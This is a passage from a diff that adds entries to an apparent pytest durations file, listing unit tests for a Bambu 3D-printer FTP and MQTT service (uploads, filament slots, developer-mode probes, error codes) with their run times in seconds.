"unit/services/test_bambu_ftp.py::TestModelSpecificBehavior::test_p1s_upload": 0.0049894219264388084, + "unit/services/test_bambu_ftp.py::TestModelSpecificBehavior::test_unknown_model_defaults_prot_p": 0.003461357206106186, + "unit/services/test_bambu_ftp.py::TestModelSpecificBehavior::test_x1c_upload": 0.4130607396364212, + "unit/services/test_bambu_ftp.py::TestStorageInfo::test_avbl_parsed": 0.11863705515861511, + "unit/services/test_bambu_ftp.py::TestStorageInfo::test_diagnose_storage_not_connected": 5.001678707078099, + "unit/services/test_bambu_ftp.py::TestStorageInfo::test_diagnose_storage_success": 0.01887632068246603, + "unit/services/test_bambu_ftp.py::TestStorageInfo::test_storage_info_not_connected": 0.0010842224583029747, + "unit/services/test_bambu_ftp.py::TestStorageInfo::test_used_bytes_from_scan": 0.012937307357788086, + "unit/services/test_bambu_ftp.py::TestThreeMFCache::test_cache_evicts_when_file_deleted": 0.0009879115968942642, + "unit/services/test_bambu_ftp.py::TestThreeMFCache::test_cache_hit_returns_stored_path": 0.0010002152994275093, + "unit/services/test_bambu_ftp.py::TestThreeMFCache::test_cache_lookup_uses_normalized_name": 0.0009626159444451332, + "unit/services/test_bambu_ftp.py::TestThreeMFCache::test_cache_miss_on_different_printer": 0.0009261937811970711, + "unit/services/test_bambu_ftp.py::TestThreeMFCache::test_clear_by_printer_scoped": 0.0010466724634170532, + "unit/services/test_bambu_ftp.py::TestThreeMFCache::test_clear_does_not_delete_persistent_files": 0.001154974102973938, + "unit/services/test_bambu_ftp.py::TestThreeMFCache::test_clear_without_deleting_files": 0.0009679850190877914, + "unit/services/test_bambu_ftp.py::TestThreeMFCache::test_normalize_collapses_filename_variants": 0.0014210343360900879, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_426_with_intact_file_logs_at_info_not_warning": 0.004828479140996933, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_426_with_intact_file_proceeds": 0.004735374823212624, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_426_with_size_check_failing_returns_false": 0.004969523288309574, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_426_with_truncated_file_returns_false": 0.00589051004499197, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_426_with_truncated_file_still_logs_an_error": 0.005612079054117203, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_550_permission_denied": 0.005211108364164829, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_552_storage_full": 0.004426948726177216, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_553_no_sd_card": 0.005401513539254665, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_bytes_426_with_intact_file_proceeds": 0.004602508619427681, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_bytes_426_with_truncated_file_returns_false": 0.004570244811475277, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_bytes_failure": 0.004883092828094959, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_bytes_success": 0.3102730931714177, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_large_chunked": 5.0109439408406615, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_not_connected": 0.0011307895183563232, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_progress_callback": 0.0066380929201841354, + "unit/services/test_bambu_ftp.py::TestUpload::test_upload_success": 0.4142577536404133, + "unit/services/test_bambu_ftp.py::TestUploadDeadline::test_deadline_falls_back_to_floor_for_unstatable_file": 0.0009484365582466125, + "unit/services/test_bambu_ftp.py::TestUploadDeadline::test_deadline_scales_with_file_size": 0.07228757720440626, + "unit/services/test_bambu_ftp.py::TestUploadDeadline::test_progress_callback_raising_deletes_the_partial_file": 5.409700802527368, + "unit/services/test_bambu_ftp.py::TestUploadDeadline::test_timeout_is_not_retried": 0.20319386571645737, + "unit/services/test_bambu_ftp.py::TestUploadDeadline::test_timeout_stops_the_worker_thread": 0.7035267893224955, + "unit/services/test_bambu_ftp.py::TestUploadDeadline::test_uploads_to_one_printer_are_serialized": 2.0165740828961134, + "unit/services/test_bambu_mqtt.py::TestAMSDataMerging::test_bitmask_only_ht_removal_fires_on_ams_change": 0.001062130555510521, + "unit/services/test_bambu_mqtt.py::TestAMSDataMerging::test_empty_slot_clears_tray_type": 0.0009754681959748268, + "unit/services/test_bambu_mqtt.py::TestAMSDataMerging::test_genuine_removal_still_clears_with_power_on": 0.0009541595354676247, + "unit/services/test_bambu_mqtt.py::TestAMSDataMerging::test_idle_printer_with_power_off_and_nonzero_bits_clears_removed_slot": 0.0009606294333934784, + "unit/services/test_bambu_mqtt.py::TestAMSDataMerging::test_partial_update_preserves_other_fields": 0.0009658699855208397, + "unit/services/test_bambu_mqtt.py::TestAMSDataMerging::test_power_on_flag_defaults_true_when_absent": 0.000965360552072525, + "unit/services/test_bambu_mqtt.py::TestAMSDataMerging::test_shutdown_message_preserves_ams_data": 0.0009651286527514458, + "unit/services/test_bambu_mqtt.py::TestAMSDataMerging::test_tray_exist_bits_clears_empty_slots": 0.0009937426075339317, + "unit/services/test_bambu_mqtt.py::TestAMSDataMerging::test_tray_exist_bits_does_not_change_state_on_loaded_slots": 0.0009420160204172134, + "unit/services/test_bambu_mqtt.py::TestAMSDataMerging::test_tray_exist_bits_promotes_empty_slot_to_state_9": 0.0009612822905182838, + "unit/services/test_bambu_mqtt.py::TestAMSTrayStateClearning::test_ht_unit_explicit_empty_still_clears": 0.0009543281048536301, + "unit/services/test_bambu_mqtt.py::TestAMSTrayStateClearning::test_ht_unit_state_9_preserves_tray_data": 0.0009577134624123573, + "unit/services/test_bambu_mqtt.py::TestAMSTrayStateClearning::test_no_clearing_when_tray_type_already_empty": 0.0011074254289269447, + "unit/services/test_bambu_mqtt.py::TestAMSTrayStateClearning::test_reload_after_unload_restores_data": 0.0010518422350287437, + "unit/services/test_bambu_mqtt.py::TestAMSTrayStateClearning::test_state_10_clears_stale_tray_data": 0.001029149629175663, + "unit/services/test_bambu_mqtt.py::TestAMSTrayStateClearning::test_state_11_preserves_tray_data": 0.001611059531569481, + "unit/services/test_bambu_mqtt.py::TestAMSTrayStateClearning::test_state_9_clears_stale_tray_data": 0.0010247118771076202, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentBackupHoldTimer::test_cfg_push_after_hold_expires_overrides_state": 0.001300860196352005, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentBackupHoldTimer::test_cfg_push_with_matching_value_during_hold_is_a_noop": 0.0012215692549943924, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentBackupHoldTimer::test_cfg_push_with_old_value_is_ignored_during_hold": 0.0016542309895157814, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentSettingExternalSpoolEncoding::test_ams_ht_unchanged": 0.001795976422727108, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentSettingExternalSpoolEncoding::test_dual_external_left_keeps_legacy_encoding": 0.0013628657907247543, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentSettingExternalSpoolEncoding::test_regular_ams_tray_unchanged": 0.001312791369855404, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentSettingExternalSpoolEncoding::test_single_external_reset_uses_tray_id_254": 0.0013366378843784332, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentSettingExternalSpoolEncoding::test_single_external_uses_tray_id_254": 0.0017440887168049812, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentSettingRefusalLogging::test_developer_mode_probe_failure_is_not_reported_as_a_refusal": 0.0011430811136960983, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentSettingRefusalLogging::test_extrusion_cali_sel_is_untouched": 0.0010943515226244926, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentSettingRefusalLogging::test_refusal_is_logged_at_info_with_result_and_reason": 0.0011650742962956429, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentSettingRefusalLogging::test_response_without_a_result_field_stays_quiet": 0.0011284546926617622, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentSettingRefusalLogging::test_success_stays_quiet": 0.0010911747813224792, + "unit/services/test_bambu_mqtt.py::TestAmsFilamentSettingRefusalLogging::test_user_command_is_not_mistaken_for_the_probe": 0.001146509312093258, + "unit/services/test_bambu_mqtt.py::TestAmsLoadFilamentEncoding::test_ams_slot_uses_local_index_and_minus_one_temps": 0.0013836529105901718, + "unit/services/test_bambu_mqtt.py::TestAmsLoadFilamentEncoding::test_external_left_keeps_legacy_encoding": 0.0013190023601055145, + "unit/services/test_bambu_mqtt.py::TestAmsLoadFilamentEncoding::test_external_right_falls_back_when_nozzle_cold": 0.0013143140822649002, + "unit/services/test_bambu_mqtt.py::TestAmsLoadFilamentEncoding::test_external_right_uses_extruder_index_and_actual_temp": 0.001654542051255703, + "unit/services/test_bambu_mqtt.py::TestAmsLoadFilamentEncoding::test_extruder_id_is_absent_unless_asked_for": 0.0013239812105894089, + "unit/services/test_bambu_mqtt.py::TestAmsLoadFilamentEncoding::test_extruder_id_rides_along_when_given[0]": 0.0013973191380500793, + "unit/services/test_bambu_mqtt.py::TestAmsLoadFilamentEncoding::test_extruder_id_rides_along_when_given[1]": 0.0015946701169013977, + "unit/services/test_bambu_mqtt.py::TestAmsLoadFilamentEncoding::test_returns_false_when_disconnected": 0.0011715767905116081, + "unit/services/test_bambu_mqtt.py::TestAmsUnloadFilamentTargeting::test_a_single_nozzle_printer_is_never_gated_on_snow": 0.0013754181563854218, + "unit/services/test_bambu_mqtt.py::TestAmsUnloadFilamentTargeting::test_a_slot_no_hotend_holds_publishes_nothing": 0.001227441243827343, + "unit/services/test_bambu_mqtt.py::TestAmsUnloadFilamentTargeting::test_an_addressed_unload_targets_that_slots_ams": 0.0013974504545331001, + "unit/services/test_bambu_mqtt.py::TestAmsUnloadFilamentTargeting::test_an_unaddressed_unload_still_follows_tray_now": 0.0013598492369055748, + "unit/services/test_bambu_mqtt.py::TestAmsUnloadFilamentTargeting::test_the_check_is_skipped_when_the_printer_reports_no_extruder_slots": 0.0013625025749206543, + "unit/services/test_bambu_mqtt.py::TestAmsUnloadFilamentTargeting::test_the_external_spool_is_not_matched_against_ams_slots": 0.0015769246965646744, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_ams_ht_unit_now_handled_not_skipped": 0.00089979637414217, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_annotate_exists_marks_present_and_absent": 0.0009021712467074394, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_annotate_exists_off_by_default_keeps_wire_clean": 0.0009511038661003113, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_annotate_exists_present_unknown_slot_not_cleared": 0.0008901087567210197, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_ht_and_regular_ams_use_their_own_formulas_together": 0.0009246449917554855, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_ht_dual_unit_clears_only_the_empty_one": 0.0012189140543341637, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_ht_second_unit_is_bit_17_not_bit_20": 0.001318623311817646, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_ht_unit_presence_bit_is_16_not_ams_id_times_4": 0.0013379976153373718, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_multi_ams_global_bit_math": 0.000913962721824646, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_nonzero_bits_with_power_off_still_clears_removed_slot": 0.0008947094902396202, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_promotes_state_to_int_nine": 0.0008982541039586067, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_returns_zero_on_missing_bits": 0.0009015295654535294, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_returns_zero_on_unparseable_bits": 0.0008993456140160561, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_shutdown_guard_zero_bits_with_power_off_skips": 0.0009100381284952164, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_state_promoted_even_when_no_stale_data": 0.0009040869772434235, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_string_ids_handled": 0.0009092641994357109, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_unknown_ams_id_range_is_left_untouched": 0.0009230403229594231, + "unit/services/test_bambu_mqtt.py::TestApplyTrayExistBitsHelper::test_zero_bits_with_power_on_still_clears": 0.0009086327627301216, + "unit/services/test_bambu_mqtt.py::TestBillingProgressTracking::test_current_frame_is_retained_and_zero_reset_does_not_overwrite_it": 0.0009797168895602226, + "unit/services/test_bambu_mqtt.py::TestConnectRefusalReporting::test_credential_refusal_recorded[4]": 0.0019494425505399704, + "unit/services/test_bambu_mqtt.py::TestConnectRefusalReporting::test_credential_refusal_recorded[5]": 0.0019411677494645119, + "unit/services/test_bambu_mqtt.py::TestConnectRefusalReporting::test_disconnect_line_carries_the_refusal": 0.0013407636433839798, + "unit/services/test_bambu_mqtt.py::TestConnectRefusalReporting::test_disconnect_line_unchanged_without_a_refusal": 0.0011644531041383743, + "unit/services/test_bambu_mqtt.py::TestConnectRefusalReporting::test_no_error_recorded_before_any_attempt": 0.001623823307454586, + "unit/services/test_bambu_mqtt.py::TestConnectRefusalReporting::test_non_credential_refusal_recorded_separately": 0.0020675156265497208, + "unit/services/test_bambu_mqtt.py::TestConnectRefusalReporting::test_successful_connect_clears_previous_error": 0.0014812741428613663, + "unit/services/test_bambu_mqtt.py::TestDeleteKProfileDualNozzleDetection::test_h2c_model_uses_dual_nozzle_format": 0.0012198956683278084, + "unit/services/test_bambu_mqtt.py::TestDeleteKProfileDualNozzleDetection::test_h2d_model_uses_dual_nozzle_format": 0.00125154759734869, + "unit/services/test_bambu_mqtt.py::TestDeleteKProfileDualNozzleDetection::test_h2s_uses_single_nozzle_format": 0.0012172823771834373, + "unit/services/test_bambu_mqtt.py::TestDeleteKProfileDualNozzleDetection::test_p2s_uses_single_nozzle_format": 0.0012212591245770454, + "unit/services/test_bambu_mqtt.py::TestDeleteKProfileDualNozzleDetection::test_runtime_dual_nozzle_flag_uses_dual_format": 0.0014559989795088768, + "unit/services/test_bambu_mqtt.py::TestDeleteKProfileDualNozzleDetection::test_x1c_uses_single_nozzle_format": 0.0011966945603489876, + "unit/services/test_bambu_mqtt.py::TestDeleteKProfileDualNozzleDetection::test_x2d_model_uses_dual_nozzle_format": 0.0012237345799803734, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeDetection::test_developer_mode_exact_bit_check": 0.0010140016674995422, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeDetection::test_developer_mode_initially_none": 0.000987708568572998, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeDetection::test_developer_mode_invalid_fun_ignored": 0.0010170070454478264, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeDetection::test_developer_mode_missing_fun_preserves_state": 0.0010124165564775467, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeDetection::test_developer_mode_off_when_bit_set": 0.0010130787268280983, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeDetection::test_developer_mode_on_when_bit_clear": 0.0009973915293812752, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeDetection::test_developer_mode_persists_across_messages": 0.0010312721133232117, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeInconclusive::test_empty_result_stays_unknown": 0.0010720780119299889, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeInconclusive::test_explicit_success_still_enables": 0.0010594557970762253, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeInconclusive::test_inconclusive_response_still_clears_probe_bookkeeping": 0.0010668188333511353, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeInconclusive::test_verify_failure_still_disables": 0.001257607713341713, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeTimeout::test_first_timeout_allows_retry": 0.0016222195699810982, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeTimeout::test_no_reprobe_when_developer_mode_cached": 0.0011931369081139565, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeTimeout::test_no_timeout_when_probe_not_sent": 0.0011911122128367424, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeTimeout::test_on_connect_resets_needs_probe": 0.0014664391055703163, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeTimeout::test_on_connect_resets_probe_state_but_preserves_developer_mode": 0.0014720503240823746, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeTimeout::test_probe_deferred_when_connect_too_recent": 0.0012015001848340034, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeTimeout::test_probe_fires_after_delay": 0.0014544259756803513, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeTimeout::test_probe_fires_on_incremental_after_delay": 0.0016467375680804253, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeTimeout::test_second_timeout_forces_reconnect": 0.0019273217767477036, + "unit/services/test_bambu_mqtt.py::TestDeveloperModeProbeTimeout::test_successful_probe_resets_failure_counter": 0.0018273144960403442, + "unit/services/test_bambu_mqtt.py::TestDeviceIdentificationProbe::test_fallback_dumps_keys_when_no_known_fields": 0.0011636298149824142, + "unit/services/test_bambu_mqtt.py::TestDeviceIdentificationProbe::test_logs_known_id_fields_once": 0.0012172628194093704, + "unit/services/test_bambu_mqtt.py::TestDeviceIdentificationProbe::test_one_shot_does_not_repeat": 0.0011823568493127823, + "unit/services/test_bambu_mqtt.py::TestDoorOpenParsing::test_h2d_door_closed_from_stat": 0.0008800700306892395, + "unit/services/test_bambu_mqtt.py::TestDoorOpenParsing::test_h2d_door_open_from_stat": 0.0008593602105975151, + "unit/services/test_bambu_mqtt.py::TestDoorOpenParsing::test_h2d_ignores_home_flag": 0.0008671563118696213, + "unit/services/test_bambu_mqtt.py::TestDoorOpenParsing::test_invalid_stat_does_not_raise": 0.0008847787976264954, + "unit/services/test_bambu_mqtt.py::TestDoorOpenParsing::test_x1c_door_closed_from_home_flag": 0.0008822940289974213, + "unit/services/test_bambu_mqtt.py::TestDoorOpenParsing::test_x1c_door_open_from_home_flag": 0.0009030122309923172, + "unit/services/test_bambu_mqtt.py::TestDoorOpenParsing::test_x1c_ignores_stat_field": 0.0008526090532541275, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_absent_dry_status_still_completes": 0.0014829300343990326, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_cycle_that_runs_to_term_keeps_the_plain_completion_log": 0.0012433221563696861, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_early_end_logs_firmware_reason_codes": 0.0020548002794384956, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_early_end_without_a_cached_target_still_logs": 0.0013807564973831177, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_every_cycle_end_records_the_box_conditions": 0.0012095170095562935, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_falling_edge_fires_callback": 0.0011460473760962486, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_falling_edge_fires_once": 0.0011200495064258575, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_no_fire_when_dry_time_never_started": 0.0010442575439810753, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_per_ams_tracking": 0.0011622477322816849, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_restart_drying_after_completion_refires_callback": 0.0011587822809815407, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_stop_we_sent_is_not_blamed_on_the_firmware": 0.0018618889153003693, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_transient_zero_while_checking_is_not_completion": 0.0011212509125471115, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_tray_only_partial_does_not_fake_completion": 0.0011221431195735931, + "unit/services/test_bambu_mqtt.py::TestDryingCompleteCallback::test_zero_while_stopping_completes": 0.0011263210326433182, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_captures_the_fields_bambuddy_does_not_parse": 0.0012519368901848793, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_closes_on_finish_and_does_not_reopen": 0.0013467837125062943, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_closing_frame_is_self_contained_when_nothing_changed": 0.001913357526063919, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_coercion_helper_falls_back_on_junk": 0.001026773825287819, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_does_not_open_mid_print": 0.0011409986764192581, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_does_not_open_when_the_print_never_ran": 0.0010957755148410797, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_frame_budget_caps_output_but_still_logs_the_close": 0.01040608435869217, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_logs_only_changed_fields_after_opening": 0.0012728851288557053, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_never_logs_the_access_code": 0.0013326974585652351, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_opens_on_numeric_strings": 0.0015453454107046127, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_opens_on_progress_when_the_last_layer_packet_is_missed": 0.0011871866881847382, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_opens_on_the_last_layer_frame_itself": 0.0012103086337447166, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_probe_failure_cannot_break_ingest": 0.0034676091745495796, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_rearms_for_the_next_print": 0.00147965457290411, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_silent_when_debug_logging_is_off": 0.0011235466226935387, + "unit/services/test_bambu_mqtt.py::TestEndOfPrintProbe::test_zero_remaining_does_not_open_before_the_print_progresses": 0.0016035065054893494, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchDetection::test_fts_absent_when_no_fila_switch_field": 0.0009477455168962479, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchDetection::test_fts_default_not_installed": 0.0009322278201580048, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchDetection::test_fts_detected_from_device_fila_switch": 0.000987410545349121, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchDetection::test_fts_handles_missing_in_out_arrays": 0.0009640771895647049, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchInletBinding::test_a_normally_bound_ams_is_untouched": 0.0009821606799960136, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchInletBinding::test_a_rebind_is_picked_up": 0.0010740123689174652, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchInletBinding::test_binding_survives_a_frame_without_the_switch_block": 0.0010097939521074295, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchInletBinding::test_inlet_a_from_bits_24_27": 0.0010163262486457825, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchInletBinding::test_inlet_b_from_bits_24_27": 0.0009814901277422905, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchInletBinding::test_no_inlet_read_without_a_switch": 0.0009383782744407654, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchInletBinding::test_the_maintainers_layout": 0.00103033147752285, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchInletBinding::test_unparseable_info_is_skipped": 0.0010054055601358414, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchInletSlotDecode::test_decodes_ams_and_slot": 0.0008753295987844467, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchInletSlotDecode::test_empty_inlet_is_none": 0.000864710658788681, + "unit/services/test_bambu_mqtt.py::TestFilamentTrackSwitchInletSlotDecode::test_missing_or_unknown_inlet_is_none": 0.000849560834467411, + "unit/services/test_bambu_mqtt.py::TestForceReconnectRouting::test_marks_state_disconnected_and_broadcasts": 0.0016819024458527565, + "unit/services/test_bambu_mqtt.py::TestForceReconnectRouting::test_routing_falls_back_to_socket_close_without_running_loop": 0.0015087993815541267, + "unit/services/test_bambu_mqtt.py::TestForceReconnectRouting::test_routing_uses_hard_reset_when_loop_is_running": 0.001855427399277687, + "unit/services/test_bambu_mqtt.py::TestHMSFullCode::test_hms_array_catalog_falls_back_to_8_char": 0.0009101750329136848, + "unit/services/test_bambu_mqtt.py::TestHMSFullCode::test_hms_array_catalog_lookup_tries_16_char_first": 0.0009231287986040115, + "unit/services/test_bambu_mqtt.py::TestHMSFullCode::test_hms_array_leaves_description_none_when_uncatalogued": 0.000928209163248539, + "unit/services/test_bambu_mqtt.py::TestHMSFullCode::test_hms_array_path_populates_16_char_full_code": 0.0009068595245480537, + "unit/services/test_bambu_mqtt.py::TestHMSFullCode::test_hms_array_path_resolves_via_the_short_key": 0.000895477831363678, + "unit/services/test_bambu_mqtt.py::TestHMSFullCode::test_print_error_path_carries_the_catalogue_description": 0.0009217169135808945, + "unit/services/test_bambu_mqtt.py::TestHMSFullCode::test_print_error_path_leaves_description_none_for_an_uncatalogued_code": 0.0009072981774806976, + "unit/services/test_bambu_mqtt.py::TestHMSFullCode::test_print_error_path_populates_8_char_full_code": 0.0009249560534954071, + "unit/services/test_bambu_mqtt.py::TestHMSUserActionFiltering::test_filter_only_drops_user_action_codes_keeps_concurrent_real_faults": 0.0009228400886058807, + "unit/services/test_bambu_mqtt.py::TestHMSUserActionFiltering::test_print_error_path_also_filters_cancel_echo": 0.0009157564491033554, + "unit/services/test_bambu_mqtt.py::TestHMSUserActionFiltering::test_print_error_path_passes_real_errors_through": 0.0009266156703233719, + "unit/services/test_bambu_mqtt.py::TestHMSUserActionFiltering::test_printing_cancelled_echo_0500_400e_filtered": 0.0009259944781661034, + "unit/services/test_bambu_mqtt.py::TestHMSUserActionFiltering::test_real_layer_shift_still_passes_through": 0.0009348727762699127, + "unit/services/test_bambu_mqtt.py::TestHMSUserActionFiltering::test_task_cancelled_echo_0300_400c_filtered": 0.0009445697069168091, + "unit/services/test_bambu_mqtt.py::TestHardResetClientDirect::test_clears_client_reference": 0.001199217513203621, + "unit/services/test_bambu_mqtt.py::TestHardResetClientDirect::test_disconnects_and_stops_old_client": 0.0012140963226556778, + "unit/services/test_bambu_mqtt.py::TestHardResetClientDirect::test_swallows_disconnect_exception": 0.0011527296155691147, + "unit/services/test_bambu_mqtt.py::TestKProfileNozzleDiameterFromEnvelope::test_awaited_response_uses_envelope_diameter": 0.0022354787215590477, + "unit/services/test_bambu_mqtt.py::TestKProfileNozzleDiameterFromEnvelope::test_broadcast_uses_envelope_diameter": 0.0010033715516328812, + "unit/services/test_bambu_mqtt.py::TestKProfileNozzleDiameterFromEnvelope::test_empty_entry_value_falls_back_to_envelope": 0.0009986013174057007, + "unit/services/test_bambu_mqtt.py::TestKProfileNozzleDiameterFromEnvelope::test_entry_value_still_wins": 0.0010265856981277466, + "unit/services/test_bambu_mqtt.py::TestKProfileNozzleDiameterFromEnvelope::test_no_envelope_value_falls_back_to_default": 0.0011166837066411972, + "unit/services/test_bambu_mqtt.py::TestKProfileRequestCorrelation::test_concurrent_requests_each_get_their_own_response": 0.002094023860991001, + "unit/services/test_bambu_mqtt.py::TestKProfileRequestCorrelation::test_falls_back_to_nozzle_match_when_sequence_id_is_not_echoed": 0.0016947565600275993, + "unit/services/test_bambu_mqtt.py::TestKProfileRequestCorrelation::test_pending_entry_is_released_on_timeout": 0.011953113600611687, + "unit/services/test_bambu_mqtt.py::TestKProfileRequestCorrelation::test_unrelated_broadcast_does_not_clobber_a_pending_fetch": 0.0017142817378044128, + "unit/services/test_bambu_mqtt.py::TestKProfileResponseDoesNotClobberNozzle::test_genuine_pushall_still_updates_nozzle": 0.0009861886501312256, + "unit/services/test_bambu_mqtt.py::TestKProfileResponseDoesNotClobberNozzle::test_kprofile_response_does_not_overwrite_nozzle_diameter": 0.0010063862428069115, + "unit/services/test_bambu_mqtt.py::TestKProfileResponseDoesNotClobberNozzle::test_kprofile_response_is_still_parsed": 0.0009977109730243683, + "unit/services/test_bambu_mqtt.py::TestKProfileWriteAcks::test_ack_for_another_write_does_not_resolve_this_one": 0.3027960807085037, + "unit/services/test_bambu_mqtt.py::TestKProfileWriteAcks::test_batch_sends_tray_id_zero": 0.0013870811089873314, + "unit/services/test_bambu_mqtt.py::TestKProfileWriteAcks::test_delete_ack_is_matched_too": 0.0022391770035028458, + "unit/services/test_bambu_mqtt.py::TestKProfileWriteAcks::test_failure_ack_is_reported_as_failure": 0.0020537283271551132, + "unit/services/test_bambu_mqtt.py::TestKProfileWriteAcks::test_pending_slot_is_released": 0.3032267075031996, + "unit/services/test_bambu_mqtt.py::TestKProfileWriteAcks::test_per_tray_extrusion_cali_set_advances_the_sequence_id": 0.0013467054814100266, + "unit/services/test_bambu_mqtt.py::TestKProfileWriteAcks::test_set_sends_tray_id_zero": 0.0014200899749994278, + "unit/services/test_bambu_mqtt.py::TestKProfileWriteAcks::test_silence_is_not_treated_as_rejection": 0.3032239628955722, + "unit/services/test_bambu_mqtt.py::TestKProfileWriteAcks::test_success_ack_passes": 0.001693563535809517, + "unit/services/test_bambu_mqtt.py::TestKProfileWriteAcks::test_writers_return_none_when_disconnected": 0.0012789983302354813, + "unit/services/test_bambu_mqtt.py::TestKProfileWriteAcks::test_writers_return_their_sequence_id": 0.0013701794669032097, + 